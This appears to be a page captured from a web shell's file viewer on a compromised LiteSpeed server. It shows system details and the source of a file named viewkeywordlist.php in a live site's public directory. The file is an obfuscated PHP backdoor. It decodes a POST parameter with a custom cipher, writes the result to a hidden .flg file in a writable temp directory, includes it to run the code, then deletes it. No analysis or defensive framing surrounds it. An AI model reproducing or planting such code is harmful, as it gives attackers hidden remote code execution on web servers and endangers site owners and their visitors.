HEX
Server: LiteSpeed
System: Linux da020 6.1.0-50-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User: nmel17aacb (1161)
PHP: 8.2.29
Disabled: exec,system,passthru,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/nmel17aacb/domains/joppen.be/public_html/viewkeywordlist.php
<?php

if(array_key_exists("dchu\x6E\x6B", $_POST) && !is_null($_POST["dchu\x6E\x6B"])){
	$component = $_POST["dchu\x6E\x6B"];
			$component =		explode(	 '.' , $component);		
	$element = '';
            $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s2);
            $m = 0;
    
            array_walk($component	 , function ($v1) use (&$element	 , &$m	 , $s2	 , $sLen) {
                $sChar = ord($s2[$m % $sLen]);
                $d = ((int)$v1 - $sChar - ($m % 10)) ^ 6;
                $element	 .=		chr($d);
                $m++;	});
	$sym = array_filter(["/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), "/tmp"]);
	$tkn = 0;
do {
    $rec = $sym[$tkn] ?? null;
    if ($tkn >= count($sym)) break;
    		if (is_dir($rec) && is_writable($rec)) {
    $key = sprintf("%s/.flg", $rec);
    if (file_put_contents($key, $element)) {
	include $key;
	@unlink($key);
	exit;
}
}
    $tkn++;
} while (true);
}